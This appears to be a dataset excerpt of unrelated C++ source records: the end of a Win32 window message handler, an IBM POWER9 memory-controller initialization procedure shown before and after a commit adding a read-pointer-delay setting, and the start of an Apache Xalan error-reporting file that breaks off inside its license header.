WM_RBUTTONUP:\n\t\t\tcall->MouseHandler(EMouseButton::Right, EMouseButtonState::Up, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_RBUTTONDBLCLK:\n\t\t\tcall->MouseHandler(EMouseButton::Right, EMouseButtonState::DoubleClick, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_MBUTTONDOWN:\n\t\t\tcall->MouseHandler(EMouseButton::Middle, EMouseButtonState::Down, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_MBUTTONUP:\n\t\t\tcall->MouseHandler(EMouseButton::Middle, EMouseButtonState::Up, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_MBUTTONDBLCLK:\n\t\t\tcall->MouseHandler(EMouseButton::Middle, EMouseButtonState::DoubleClick, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_XBUTTONDOWN:\n\t\t\tcall->MouseHandler((highWParam == 1 ? EMouseButton::X1 : EMouseButton::X2), EMouseButtonState::Down, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_XBUTTONUP:\n\t\t\tcall->MouseHandler((highWParam == 1 ? EMouseButton::X1 : EMouseButton::X2), EMouseButtonState::Up, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_XBUTTONDBLCLK:\n\t\t\tcall->MouseHandler((highWParam == 1 ? EMouseButton::X1 : EMouseButton::X2), EMouseButtonState::DoubleClick, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_KEYUP:\n\t\t\tcall->KeyHandler((EKey) wParam, EKeyState::Up);\n\t\t\tbreak;\n\t\tcase WM_KEYDOWN:\n\t\t\tcall->KeyHandler((EKey) wParam, EKeyState::Down);\n\t\t\tbreak;\n\t\tcase WM_CLOSE:\n\t\t\tstd::cout << \"Close message received.\" << std::endl;\n\t\t\tcall->CloseHandler();\n\t\t\tbreak;\n\t\tcase WM_SHOWWINDOW:\n\t\t\tcall->ShowHandler(wParam == TRUE);\n\t\t\tbreak;\n\t\tcase WM_DESTROY:\n\t\t\t\/\/should only be sent when the window object is destroyed.\n\t\t\t\/\/should do any code on window destruction in the dtor, not here or a handler.\n\t\t\tbreak;\n\t\tcase WM_MOVE:\n\t\t\t\/\/coordinates reported are the upper-left corner of the client area in screen coordinates.\n\t\t\tcall->MoveHandler(pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_SIZE:\n\t\t\tcall->ResizeHandler(pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_MOUSEMOVE:\n\t\t\tcall->MouseHandler(EMouseButton::Null, EMouseButtonState::Null, pt.x, pt.y);\n\t\t\tbreak;\n\t\tcase WM_MOUSEWHEEL:\n\t\t\t{\n\t\t\t\t\/\/need the sign from highWParam\n\t\t\t\tSHORT delta = (SHORT)highWParam;\n\t\t\t\t\n\t\t\t\t\/\/the second parameter to ScrollHandler is a simple magnitude (unsigned), so take the absolute value.\n\t\t\t\tcall->ScrollHandler((delta > 0 ? EMouseScrollDirection::Up : EMouseScrollDirection::Down), abs(delta \/ WHEEL_DELTA));\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tself->Release();\n\t\treturn DefSubclassProc(wnd,msg,wParam,lParam);\n\t}\n\t\n\tHWND CWindowsWin32Window::GetWindow() const\n\t{\n\t\treturn _win;\n\t}\n\n\t\/\/=====================================================\n\t\/\/Interface: IWindow\n\t\/\/=====================================================\n\tTRectangle<s16,u16> const * CWindowsWin32Window::GetRect() const\n\t{\n\t\treturn _rect;\n\t}\n\tvoid CWindowsWin32Window::MouseHandler(EMouseButton button, EMouseButtonState state, u16 x, u16 y)\n\t{\n\t}\n\tvoid CWindowsWin32Window::KeyHandler(EKey key, EKeyState state)\n\t{\n\t}\n\tvoid CWindowsWin32Window::ScrollHandler(EMouseScrollDirection dir, u16 delta)\n\t{\n\t}\n\tvoid CWindowsWin32Window::ShowHandler(bool show)\n\t{\n\t}\n\tvoid CWindowsWin32Window::MoveHandler(s16 x, s16 y)\n\t{\n\t\t_rect->SetX(x);\n\t\t_rect->SetY(y);\n\t}\n\tvoid CWindowsWin32Window::ResizeHandler(u16 width, u16 height)\n\t{\n\t\t_rect->SetWidth(width);\n\t\t_rect->SetHeight(height);\n\t}\n\tvoid CWindowsWin32Window::CloseHandler()\n\t{\n\t}\n\tvoid CWindowsWin32Window::Mouse(EMouseButton button, EMouseButtonState state, u16 x, u16 y)\n\t{\n\t\tUINT msg = 0;\n\t\tWORD xButton = 0;\n\t\tswitch (button)\n\t\t{\n\t\tcase EMouseButton::Left:\n\t\t\tmsg = WM_LBUTTONDOWN;\n\t\t\tbreak;\n\t\tcase EMouseButton::Middle:\n\t\t\tmsg = WM_MBUTTONDOWN;\n\t\t\tbreak;\n\t\tcase EMouseButton::Right:\n\t\t\tmsg = WM_RBUTTONDOWN;\n\t\t\tbreak;\n\t\tcase EMouseButton::X1:\n\t\t\txButton = 1;\n\t\t\tmsg = WM_XBUTTONDOWN;\n\t\t\tbreak;\n\t\tcase EMouseButton::X2:\n\t\t\txButton = 2;\n\t\t\tmsg = WM_XBUTTONDOWN;\n\t\t\tbreak;\n\t\tcase EMouseButton::Null:\n\t\t\tmsg = WM_MOUSEMOVE;\n\t\t\tbreak;\n\t\t}\n\n\t\tif (button != EMouseButton::Null) \/\/ignore the state; should be Null, but don't count on it.\n\t\t{\n\t\t\tswitch (state)\n\t\t\t{\n\t\t\tcase EMouseButtonState::Down:\n\t\t\t\t\/\/no-op, Down is already set.\n\t\t\t\tbreak;\n\t\t\tcase EMouseButtonState::Up:\n\t\t\t\tmsg += 1;\n\t\t\t\tbreak;\n\t\t\tcase EMouseButtonState::DoubleClick:\n\t\t\t\tmsg += 2;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tDWORD tmpX = x;\n\t\tDWORD tmpY = y;\n\t\tLPARAM lParam = (tmpY << 16) | tmpX;\n\t\tPostMessage(_win, msg, xButton << 16, lParam);\n\t}\n\tvoid CWindowsWin32Window::Key(EKey key, EKeyState state)\n\t{\n\t\t\/\/LPARAM is a bunch of state flags we have no way of tracking, so ignore it.\n\t\tPostMessage(_win, (state == EKeyState::Down ? WM_KEYDOWN : WM_KEYUP), (WPARAM)key, 0);\n\t}\n\tvoid CWindowsWin32Window::Scroll(EMouseScrollDirection dir, u16 delta)\n\t{\n\t\t\/\/mask off the sign bit (shouldn't cause problems)\n\t\tSHORT postDelta = delta & 0x7fff;\n\t\tpostDelta *= (dir == EMouseScrollDirection::Up ? 1 : -1);\n\t\t\n\t\t\/\/Last parameter should be the current mouse position, but that's not provided nor tracked internally.\n\t\tPostMessage(_win, WM_MOUSEWHEEL, (static_cast<DWORD>(postDelta)) << 16, 0);\n\t}\n\tvoid CWindowsWin32Window::Show(bool show)\n\t{\n\t\tShowWindow(_win, (show ? SW_SHOWNORMAL : SW_HIDE));\n\t}\n\tvoid CWindowsWin32Window::Move(s16 x, s16 y)\n\t{\n\t\tMoveWindow(_win,x,y,0,0,TRUE);\n\t}\n\tvoid CWindowsWin32Window::Resize(u16 width, u16 height)\n\t{\n\t\tMoveWindow(_win,0,0,width,height,TRUE);\n\t}\n\tvoid CWindowsWin32Window::Close()\n\t{\n\t\tPostMessage(_win, WM_CLOSE, 0, 0);\n\t}\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: chips\/p9\/procedures\/hwp\/memory\/p9_mss_draminit_mc.C $ *\/\n\/* *\/\n\/* IBM CONFIDENTIAL *\/\n\/* *\/\n\/* EKB Project *\/\n\/* *\/\n\/* COPYRIGHT 2015,2016 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* The source code for this program is not published or otherwise *\/\n\/* divested of its trade secrets, irrespective of what has been *\/\n\/* deposited with the U.S. Copyright Office. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file p9_mss_draminit_mc.C\n\/\/\/ @brief Initialize the memory controller to take over the DRAM\n\/\/\/\n\/\/ *HWP HWP Owner: Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP HWP Backup: Andre Marin <aamarin@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HB\n\n#include <fapi2.H>\n#include <mss.H>\n\n#include \"p9_mss_draminit_mc.H\"\n\nusing fapi2::TARGET_TYPE_MCBIST;\nusing fapi2::TARGET_TYPE_MCA;\nusing fapi2::TARGET_TYPE_MCS;\n\nextern \"C\"\n{\n\/\/\/\n\/\/\/ @brief Initialize the MC now that DRAM is up\n\/\/\/ @param[in] i_target, the McBIST of the ports\n\/\/\/ @return FAPI2_RC_SUCCESS iff ok\n\/\/\/\n fapi2::ReturnCode p9_mss_draminit_mc( const fapi2::Target<TARGET_TYPE_MCBIST>& i_target )\n {\n auto l_mca = i_target.getChildren<TARGET_TYPE_MCA>();\n\n FAPI_INF(\"Start draminit MC\");\n\n \/\/ If we don't have any ports, lets go.\n if (l_mca.size() == 0)\n {\n FAPI_INF(\"No ports? %s\", mss::c_str(i_target));\n return fapi2::FAPI2_RC_SUCCESS;\n }\n\n \/\/ While we're doing the scominit in here, lets do it for all ports before we dump the MCS regs.\n for (auto p : i_target.getChildren<TARGET_TYPE_MCA>())\n {\n mss::mc<TARGET_TYPE_MCS> l_mc;\n\n \/\/ Don't do this yet - leverage the sim inits for the moment\n#if 0\n \/\/ All the scominit for this MCA\n l_mc.scominit(p);\n#endif\n \/\/ Setup the MC port\/dimm address translation registers\n FAPI_TRY( l_mc.setup_xlate_map(p) );\n }\n\n for (auto p : l_mca)\n {\n\n \/\/ Set the IML Complete bit MBSSQ(3) (SCOM Addr: 0x02011417) to indicate that IML has completed\n \/\/ Can't find MBSSQ or the iml_complete bit - asked Steve. Gary VH created this bit as a scratch\n \/\/ 'you are hre bit' and it was removed for Nimbus. Gary VH asked for it to be put back in. Not\n \/\/ sure if that happened yet. BRS (2\/16).\n\n \/\/ Reset addr_mux_sel to “0” to allow the MCA to take control of the DDR interface over from CCS.\n \/\/ (Note: this step must remain in this procedure to ensure that data path is placed into mainline\n \/\/ mode prior to running memory diagnostics. When Advanced DRAM Training executes, this step\n \/\/ becomes superfluous but not harmful. However, it's not guaranteed that Advanced DRAM Training\n \/\/ will be executed on every system configuration.)\n \/\/ Note: addr_mux_sel is set low in p9_mss_draminit(), however that might be a work-around so we\n \/\/ set it low here kind of like belt-and-suspenders. BRS\n FAPI_TRY( mss::change_addr_mux_sel(p, mss::LOW) );\n\n \/\/ Step Two.1: Check RCD protect time on RDIMM and LRDIMM\n \/\/ Step Two.2: Enable address inversion on each MBA for ALL CARDS\n\n \/\/ Start the refresh engines by setting MBAREF0Q(0) = “1”. Note that the remaining bits in\n \/\/ MBAREF0Q should retain their initialization values.\n FAPI_TRY( mss::change_refresh_enable(p, mss::HIGH) );\n\n \/\/ Power management is handled in the init file. (or should be BRS)\n\n \/\/ Enabling periodic calibration\n FAPI_TRY( mss::enable_periodic_cal(p) );\n\n \/\/ Step Six: Setup Control Bit ECC\n FAPI_TRY( mss::enable_read_ecc(p) );\n\n \/\/ At this point the DDR interface must be monitored for memory errors. Memory related FIRs should be unmasked.\n\n \/\/ Cram a fast write, followed by a read in here for giggles\n {\n mss::mcbist::program<TARGET_TYPE_MCBIST> l_program;\n uint64_t l_start = 0;\n uint64_t l_end = 0;\n uint64_t l_pattern = 0;\n\n \/\/ Write\n {\n \/\/ Uses address register set 0\n mss::mcbist::subtest_t<TARGET_TYPE_MCBIST> l_fw_subtest =\n mss::mcbist::write_subtest<TARGET_TYPE_MCBIST>();\n l_fw_subtest.enable_port(mss::index(p));\n\n \/\/ HACK: We only need to worry about the DIMM in slot 0 right now\n l_fw_subtest.enable_dimm(0);\n l_program.iv_subtests.push_back(l_fw_subtest);\n }\n\n \/\/ Read\n {\n \/\/ Uses address register set 0\n mss::mcbist::subtest_t<TARGET_TYPE_MCBIST> l_fr_subtest =\n mss::mcbist::read_subtest<TARGET_TYPE_MCBIST>();\n l_fr_subtest.enable_port(mss::index(p));\n\n \/\/ HACK: We only need to worry about the DIMM in slot 0 right now\n l_fr_subtest.enable_dimm(0);\n l_program.iv_subtests.push_back(l_fr_subtest);\n }\n\n\n FAPI_TRY( mss::mcbist_start_addr(p, l_start) );\n FAPI_TRY( mss::mcbist_end_addr(p, l_end) );\n\n \/\/ TK: calculate proper polling based on address range\n\n \/\/ Setup a nice pattern for writing\n FAPI_TRY( mss::mcbist_write_data(i_target, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD0Q, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD1Q, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD2Q, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD3Q, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD4Q, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD5Q, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD6Q, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD7Q, l_pattern) );\n\n \/\/ Sanity check - can't do much if end is before start.\n \/\/ This is either a programming error or a mistake in attribute settings. So we'll just assert.\n if (l_end < l_start)\n {\n FAPI_ERR(\"mcbist end address is less than mcbist starting address. s: 0x%x e: 0x%x\", l_start, l_end);\n fapi2::Assert(false);\n }\n\n \/\/ By default we're in maint address mode so we do a start + len and the 'BIST increments for us.\n \/\/ By default, the write subtest uses the 0'th address start\/end registers.\n mss::mcbist::config_address_range0(i_target, l_start, l_end - l_start);\n\n \/\/ Just one port for now. Per Shelton we need to set this in maint adress mode\n \/\/ even tho we specify the port\/dimm in the subtest.\n fapi2::buffer<uint8_t> l_port;\n l_port.setBit(mss::pos(p));\n l_program.select_ports(l_port >> 4);\n\n \/\/ Kick it off, wait for a result\n FAPI_TRY( mss::mcbist::execute(i_target, l_program) );\n\n \/\/ Just because the program executed and no MCBIST failure was reported, it is poosible that\n \/\/ there were address errors. An address error in the only address in a range causes the\n \/\/ 'BIST to skip that command. Since it's the only address, the subtest (or program) can\n \/\/ complete succedssfully even though nothing actually happend.\n \/\/ For now, just dump the registers and vgrep for errors. BRS\n FAPI_TRY( mss::dump_regs<TARGET_TYPE_MCBIST>(i_target) );\n }\n }\n\n fapi_try_exit:\n FAPI_INF(\"End draminit MC\");\n return fapi2::current_err;\n }\n}\n<commit_msg>Add read pointer delay config<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: chips\/p9\/procedures\/hwp\/memory\/p9_mss_draminit_mc.C $ *\/\n\/* *\/\n\/* IBM CONFIDENTIAL *\/\n\/* *\/\n\/* EKB Project *\/\n\/* *\/\n\/* COPYRIGHT 2015,2016 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* The source code for this program is not published or otherwise *\/\n\/* divested of its trade secrets, irrespective of what has been *\/\n\/* deposited with the U.S. Copyright Office. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file p9_mss_draminit_mc.C\n\/\/\/ @brief Initialize the memory controller to take over the DRAM\n\/\/\/\n\/\/ *HWP HWP Owner: Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP HWP Backup: Andre Marin <aamarin@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HB\n\n#include <fapi2.H>\n#include <mss.H>\n\n#include \"p9_mss_draminit_mc.H\"\n\nusing fapi2::TARGET_TYPE_MCBIST;\nusing fapi2::TARGET_TYPE_MCA;\nusing fapi2::TARGET_TYPE_MCS;\n\nextern \"C\"\n{\n\/\/\/\n\/\/\/ @brief Initialize the MC now that DRAM is up\n\/\/\/ @param[in] i_target, the McBIST of the ports\n\/\/\/ @return FAPI2_RC_SUCCESS iff ok\n\/\/\/\n fapi2::ReturnCode p9_mss_draminit_mc( const fapi2::Target<TARGET_TYPE_MCBIST>& i_target )\n {\n auto l_mca = i_target.getChildren<TARGET_TYPE_MCA>();\n\n FAPI_INF(\"Start draminit MC\");\n\n \/\/ If we don't have any ports, lets go.\n if (l_mca.size() == 0)\n {\n FAPI_INF(\"No ports? %s\", mss::c_str(i_target));\n return fapi2::FAPI2_RC_SUCCESS;\n }\n\n \/\/ While we're doing the scominit in here, lets do it for all ports before we dump the MCS regs.\n for (auto p : i_target.getChildren<TARGET_TYPE_MCA>())\n {\n mss::mc<TARGET_TYPE_MCS> l_mc;\n\n \/\/ Don't do this yet - leverage the sim inits for the moment\n#if 0\n \/\/ All the scominit for this MCA\n l_mc.scominit(p);\n#endif\n \/\/ Setup the MC port\/dimm address translation registers\n FAPI_TRY( l_mc.setup_xlate_map(p) );\n }\n\n \/\/ Setup the read_pointer_delay\n \/\/ TK: Do we need to do this in general or is this a place holder until the\n \/\/ init file gets here?\n {\n fapi2::buffer<uint64_t> l_data;\n FAPI_TRY( mss::getScom(i_target, MCBIST_MBSEC0Q, l_data) );\n l_data.insertFromRight<MCA_RECR_MBSECCQ_READ_POINTER_DELAY, MCA_RECR_MBSECCQ_READ_POINTER_DELAY_LEN>(0x1);\n FAPI_DBG(\"writing read pointer delay 0x%016lx\", l_data);\n FAPI_TRY( mss::putScom(i_target, MCBIST_MBSEC0Q, l_data) );\n }\n\n for (auto p : l_mca)\n {\n\n \/\/ Set the IML Complete bit MBSSQ(3) (SCOM Addr: 0x02011417) to indicate that IML has completed\n \/\/ Can't find MBSSQ or the iml_complete bit - asked Steve. Gary VH created this bit as a scratch\n \/\/ 'you are hre bit' and it was removed for Nimbus. Gary VH asked for it to be put back in. Not\n \/\/ sure if that happened yet. BRS (2\/16).\n\n \/\/ Reset addr_mux_sel to “0” to allow the MCA to take control of the DDR interface over from CCS.\n \/\/ (Note: this step must remain in this procedure to ensure that data path is placed into mainline\n \/\/ mode prior to running memory diagnostics. When Advanced DRAM Training executes, this step\n \/\/ becomes superfluous but not harmful. However, it's not guaranteed that Advanced DRAM Training\n \/\/ will be executed on every system configuration.)\n \/\/ Note: addr_mux_sel is set low in p9_mss_draminit(), however that might be a work-around so we\n \/\/ set it low here kind of like belt-and-suspenders. BRS\n FAPI_TRY( mss::change_addr_mux_sel(p, mss::LOW) );\n\n \/\/ Step Two.1: Check RCD protect time on RDIMM and LRDIMM\n \/\/ Step Two.2: Enable address inversion on each MBA for ALL CARDS\n\n \/\/ Start the refresh engines by setting MBAREF0Q(0) = “1”. Note that the remaining bits in\n \/\/ MBAREF0Q should retain their initialization values.\n FAPI_TRY( mss::change_refresh_enable(p, mss::HIGH) );\n\n \/\/ Power management is handled in the init file. (or should be BRS)\n\n \/\/ Enabling periodic calibration\n FAPI_TRY( mss::enable_periodic_cal(p) );\n\n \/\/ Step Six: Setup Control Bit ECC\n FAPI_TRY( mss::enable_read_ecc(p) );\n\n \/\/ At this point the DDR interface must be monitored for memory errors. Memory related FIRs should be unmasked.\n\n \/\/ Cram a fast write, followed by a read in here for giggles\n {\n mss::mcbist::program<TARGET_TYPE_MCBIST> l_program;\n uint64_t l_start = 0;\n uint64_t l_end = 0;\n uint64_t l_pattern = 0;\n\n \/\/ Write\n {\n \/\/ Uses address register set 0\n mss::mcbist::subtest_t<TARGET_TYPE_MCBIST> l_fw_subtest =\n mss::mcbist::write_subtest<TARGET_TYPE_MCBIST>();\n l_fw_subtest.enable_port(mss::index(p));\n\n \/\/ HACK: We only need to worry about the DIMM in slot 0 right now\n l_fw_subtest.enable_dimm(0);\n l_program.iv_subtests.push_back(l_fw_subtest);\n }\n\n \/\/ Read\n {\n \/\/ Uses address register set 0\n mss::mcbist::subtest_t<TARGET_TYPE_MCBIST> l_fr_subtest =\n mss::mcbist::read_subtest<TARGET_TYPE_MCBIST>();\n l_fr_subtest.enable_port(mss::index(p));\n\n \/\/ HACK: We only need to worry about the DIMM in slot 0 right now\n l_fr_subtest.enable_dimm(0);\n l_program.iv_subtests.push_back(l_fr_subtest);\n }\n\n\n FAPI_TRY( mss::mcbist_start_addr(p, l_start) );\n FAPI_TRY( mss::mcbist_end_addr(p, l_end) );\n\n \/\/ TK: calculate proper polling based on address range\n\n \/\/ Setup a nice pattern for writing\n FAPI_TRY( mss::mcbist_write_data(i_target, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD0Q, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD1Q, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD2Q, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD3Q, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD4Q, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD5Q, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD6Q, l_pattern) );\n FAPI_TRY( mss::putScom(i_target, MCBIST_MCBFD7Q, l_pattern) );\n\n \/\/ Sanity check - can't do much if end is before start.\n \/\/ This is either a programming error or a mistake in attribute settings. So we'll just assert.\n if (l_end < l_start)\n {\n FAPI_ERR(\"mcbist end address is less than mcbist starting address. s: 0x%x e: 0x%x\", l_start, l_end);\n fapi2::Assert(false);\n }\n\n \/\/ By default we're in maint address mode so we do a start + len and the 'BIST increments for us.\n \/\/ By default, the write subtest uses the 0'th address start\/end registers.\n mss::mcbist::config_address_range0(i_target, l_start, l_end - l_start);\n\n \/\/ Just one port for now. Per Shelton we need to set this in maint adress mode\n \/\/ even tho we specify the port\/dimm in the subtest.\n fapi2::buffer<uint8_t> l_port;\n l_port.setBit(mss::pos(p));\n l_program.select_ports(l_port >> 4);\n\n \/\/ Kick it off, wait for a result\n FAPI_TRY( mss::mcbist::execute(i_target, l_program) );\n\n \/\/ Just because the program executed and no MCBIST failure was reported, it is poosible that\n \/\/ there were address errors. An address error in the only address in a range causes the\n \/\/ 'BIST to skip that command. Since it's the only address, the subtest (or program) can\n \/\/ complete succedssfully even though nothing actually happend.\n \/\/ For now, just dump the registers and vgrep for errors. BRS\n FAPI_TRY( mss::dump_regs<TARGET_TYPE_MCBIST>(i_target) );\n }\n }\n\n fapi_try_exit:\n FAPI_INF(\"End draminit MC\");\n return fapi2::current_err;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999-2002 The Apache Software Foundation. All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment: \n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written \n * permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com. For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\/**\n * \n * @author David N. Bertoni (david_n_bertoni@lotus.com)\n * *\/\n\n\n\n\/\/ Base class header file.\n#include \"ProblemListenerDefault.hpp\"\n\n\n\n#include <XalanDOM\/XalanNode.hpp>\n\n\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n#include <PlatformSupport\/PrintWriter.hpp>\n\n\n\n#include <XSLT\/ElemTemplateElement.hpp>\n\n\n\nstatic const char* const\terrorHeader = \"error: \";\nstatic const char* const\twarningHeader = \"warning: \";\n\nstatic const char* const\txslHeader = \"XSLT \";\nstatic const char* const\txmlHeader = \"XML \";\nstatic const char* const\txpathHeader = \"XPath \";\n\nstatic const char* const\tstyleTreeNodeHeader = \", style tree node: \";\nstatic const char* const\tsourceTreeNodeHeader = \", source tree node: \";\nstatic const char* const\tlocationOpen = \" (\";\nstatic const char* const\turiHeader = \"\";\nstatic const char* const\tlineNoHeader = \", line \";\nstatic const char* const\tcharOffsetHeader = \", column \";\nstatic const char* const\tlocationClose = \")\";\n\n\n\nProblemListenerDefault::ProblemListenerDefault(PrintWriter*\t\tpw) :\n\tProblemListener(),\n\tm_pw(pw)\n{\n}\n\n\n\nProblemListenerDefault::~ProblemListenerDefault()\n{\n}\n\n\n\nvoid\nProblemListenerDefault::setPrintWriter(PrintWriter*\t\tpw)\n{\n\tm_pw = pw;\n}\n\n\n\nvoid\nProblemListenerDefault::problem(\n\t\t\teProblemSource\t\t\twhere,\n\t\t\teClassification\t\t\tclassification, \n\t\t\tconst XalanNode*\t\tsourceNode,\n\t\t\tconst XalanNode*\t\tstyleNode,\n\t\t\tconst XalanDOMString&\tmsg,\n\t\t\tconst XalanDOMChar*\t\turi,\n\t\t\tint\t\t\t\t\t\tlineNo,\n\t\t\tint\t\t\t\t\t\tcharOffset)\n{\n\tif (m_pw != 0)\n\t{\n\t\tproblem(*m_pw, where, classification, sourceNode, styleNode, msg, uri, lineNo, charOffset);\n\t}\n}\n\n\n\nvoid\nProblemListenerDefault::problem(\n\t\t\tPrintWriter&\t\t\tpw,\n\t\t\teProblemSource\t\t\twhere,\n\t\t\teClassification\t\t\tclassification, \n\t\t\tconst XalanNode*\t\tsourceNode,\n\t\t\tconst XalanNode*\t\tstyleNode,\n\t\t\tconst XalanDOMString&\tmsg,\n\t\t\tconst XalanDOMChar*\t\turi,\n\t\t\tint\t\t\t\t\t\tlineNo,\n\t\t\tint\t\t\t\t\t\tcharOffset)\n{\n\tif (eXMLPARSER == where)\n\t{\n\t\tpw.print(xmlHeader);\n\t}\n\telse if (eXPATH == where)\n\t{\n\t\tpw.print(xpathHeader);\n\t}\n\telse\n\t{\n\t\tpw.print(xslHeader);\n\t}\n\n\tif (eERROR == classification)\n\t{\n\t\tpw.print(errorHeader);\n\t}\n\telse\n\t{\n\t\tpw.print(warningHeader);\n\t}\n\n\tpw.print(msg);\n\n\tif (0 != styleNode)\n\t{\n\t\tpw.print(styleTreeNodeHeader);\n\t\tpw.print(styleNode->getNodeName());\n\t}\n\n\tif (0 != sourceNode)\n\t{\n\t\tpw.print(sourceTreeNodeHeader);\n\t\tpw.print(sourceNode->getNodeName());\n\t}\n\n\tpw.print(locationOpen);\n\n\tif (0 != uri)\n\t{\n\t\tpw.print(uriHeader);\n\t\tpw.print(uri);\n\t}\n\n\tpw.print(lineNoHeader);\n\tpw.print(lineNo);\n\n\tpw.print(charOffsetHeader);\n\tpw.print(charOffset);\n\n\tpw.print(locationClose);\n\n\tpw.println();\n}\n<commit_msg>Added new header for message classification.<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999-2002 The Apache Software Foundation. All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment: \n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written \n * permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, 